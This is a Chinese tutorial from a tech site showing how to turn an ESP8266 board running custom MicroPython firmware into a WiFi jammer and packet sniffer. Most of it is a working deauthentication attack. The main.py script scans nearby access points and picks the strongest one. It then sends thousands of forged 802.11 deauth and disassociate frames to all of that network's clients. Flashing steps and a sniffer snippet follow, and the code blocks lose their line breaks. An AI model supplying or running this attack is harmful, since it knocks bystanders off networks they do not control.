千家信息网

MicroPython怎么实现wifi干扰与抓包

发表于:2025-01-26 作者:千家信息网编辑
千家信息网最后更新 2025年01月26日,这篇文章主要介绍"MicroPython怎么实现wifi干扰与抓包",在日常操作中,相信很多人在MicroPython怎么实现wifi干扰与抓包问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作
千家信息网最后更新 2025年01月26日MicroPython怎么实现wifi干扰与抓包

这篇文章主要介绍"MicroPython怎么实现wifi干扰与抓包",在日常操作中,相信很多人在MicroPython怎么实现wifi干扰与抓包问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答"MicroPython怎么实现wifi干扰与抓包"的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

  0x01实现原理

  a) 通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。

  b) 调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。

  0x02攻击构思

  a) 程序一开始扫描附件的AP。

  b) 找到信号最强的AP,获取到他的MAC地址(bssid)和信道。

  c) 将TPYBoardv202切换到同攻击AP相同的信道。

  d) 使用攻击AP的MAC地址,组合deauth解除认证包发送。

  0x03编译烧写固件及程序源码

  1、 编译固件

  现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是

  我自己动手编译了一次固件,地址:

  https://github.com/PakchoiFood/micropython-deauth

  大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:

  https://github.com/micropython/micropython/tree/master/esp8266

  需要注意:在编译esp8266-sdk时,注意版本必须是1.3.0版本,否则wifi_send_pkt_freedom函数会一直返回-1失败。

  下载后解压,文件如下:

  firmware.bin文件:micropython-esp8266生成的固件。

  增加的内容:

  setAttack函数

  参数:int类型(信道)

  功能:设置esp8266的信道

  send_pkt_freedom函数

  参数:bytes数组(定义的数据包)

  flash_download_tools_v3.3.6_win.rar:烧写固件的工具。

  MicroPythonFileUploader.rar:用于将程序下载到TPYBoardv202Flash的工具。

  main.py文件:程序源码文件,主要实现附件AP的扫描、数据包的组合和调用发送。

import timeimport uosimport wirelesssta_if=wireless.attack(0)#0:STA 模式 sta_if.active(True)ap_list=sta_if.scan()print(ap_list)ssid=''bssid=''#bssid:AP MAC addresschannel=''#信道_client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认def deauth(_ap,_client,type,reason):    # 0 - 1   type, subtype c0: deauth (a0: disassociate)    # 2 - 3   duration (SDK takes care of that)    # 4 - 9   reciever (target)    # 10 - 15 source (ap)    # 16 - 21 BSSID (ap)    # 22 - 23 fragment & squence number    # 24 - 25 reason code (1 = unspecified reason)    packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])    for i in range(0,6):        packet[4 + i] =_client[i]        packet[10 + i] = packet[16 + i] =_ap[i]    #set type    packet[0] = type;    packet[24] = reason    result=sta_if.send_pkt_freedom(packet)    if result==0:        time.sleep_ms(1)        return True    else:        return False    if __name__=="__main__":    max_rssid=0    max_id=0    num=0    #获取信号最强的AP 进行攻击    for i in ap_list:        if max_rssid==0:            max_rssid=i[3]#rssid        else:            if i[3]>max_rssid:                max_rssid=i[3]                max_id=num        num+=1    ssid=ap_list[max_id][0]    bssid=ap_list[max_id][1]    channel=ap_list[max_id][2]    print('ssid:',ssid,'-bssid:',bssid)    print('-channel:',channel,'-rssid:',max_rssid)    sendNum=5000#攻击次数       print('******************************')    if sta_if.setAttack(channel):        print('Set Attack OK')        time.sleep_ms(100)        print('---deauth runing-----')        for i in range(0,sendNum):            r_=deauth(bssid, _client, 0xC0, 0x01)            if r_:                                deauth(bssid, _client, 0xA0, 0x01)                deauth(_client, bssid, 0xC0, 0x01)                deauth(_client, bssid, 0xA0, 0x01)                time.sleep_ms(5)            else:                print('---deauth fail-------')            time.sleep_ms(5000)

  sniffer文件夹下的main.py实现网络抓包功能。

import wirelessimport time#可以指定信道1~13sniffer=wireless.sniffer(6)#0:表示从信道1开始 定时切换信道#sniffer=wireless.sniffer(0)

  烧写固件

  1、 TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器(这里是COM57)。

  2、 解压flash_download_tools_v3.3.6_win.rar,双击运行ESPFlashDownloadTool_v3.3.6.exe。

  3、选择firmware.bin固件文件,地址0x00000,其他参数根据下图设置。我的COM选择COM57,根据自己的实际端口选择,波特率选择115200。

  4、点击【START】,界面提示等待上电同步。按住板子上的FLASH键不松,同时按一下RST键复位上电。左侧空白区显示读取的MAC地址,状态显示下载中,此时松开按键即可。

  5、等待下载完毕,关闭软件退出。

  下载程序

  6、解压MicroPythonFileUploader.rar,双击运行MicroPythonFileUploader.exe。

  此软件需要.NETFramework4.2及以上版本,若打开失败,请安装.NETFramework后再使用。

  .NETFramework4.5下载地址:http://www.tpyboard.com/download/drive/174.html

  7、选择COM57,点击【Open】打开串口。

  8、点击右侧的文件夹图标的按钮,选择main.py文件。

  9、此时可以点击【Send】,将程序发送给TPYBoardv202。发送成功后,程序自动运行。

  10、接下来将sniffer下的main.py同样的是方式下载到板子里。(文件会覆盖)

  打开串口助手,就可以看到esp8266抓包的数据。

  

到此,关于"MicroPython怎么实现wifi干扰与抓包"的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注网站,小编会继续努力为大家带来更多实用的文章!

0